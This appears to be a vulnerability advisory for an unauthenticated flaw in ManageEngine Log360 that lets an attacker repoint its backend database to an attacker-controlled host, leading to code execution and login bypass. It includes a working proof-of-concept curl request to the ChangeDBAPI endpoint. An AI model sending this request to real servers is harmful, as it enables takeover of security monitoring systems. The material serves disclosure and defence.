ManageEngine Log360 Database Configuration Overwrite Unauthenticated RCE

ManageEngine Log360 Builds < 5235 are affected by an improper access control vulnerability allowing database configuration overwrite. An unauthenticated remote attacker can send a specially crafted message to Log360 to change its backend database to an attacker-controlled database and to force Log360 to restart. An attacker can leverage this vulnerability to achieve remote code execution by replacing files executed by Log360 on startup.

Proof of Concept: 

The following command attempts to change the Log360 database configurations in <LOG360_DIR>\conf\database_params.conf to point to an attacker-controlled database and restart Log360. 

curl -ki -d 'operation=changeDB&params={"MIGRATE":false,"RESTART":true, "UNAME":"attacker", "DOMAIN":"MyDomain", "PASSWORD":"<password>","SERVER_NAME":"<attacker-db-host>","SERVER_PORT":33395,"SERVER":"postgres","DB":"log360","INSTANCE_NAME":"MyInstance"}' http://<log360-host>:8095/RestAPI/ChangeDBAPI

The security ramifications include but not are not limited to:

• Denial of service (legitimate users may no longer able to login to Log360)
• Authentication bypass because the login credentials for the 'Log360 Authentication' domain are now stored in the attacker-controlled database. The attacker can login to Log360 because s/he knows the credentials.
• REST API restriction bypass.  The adsproductapis table in the Log360 database defines a list of REST APIs allowed to be called. The attacker can add more REST APIs to the table, giving the attacker more attack vectors as the added APIs may contain vulnerabilities in them.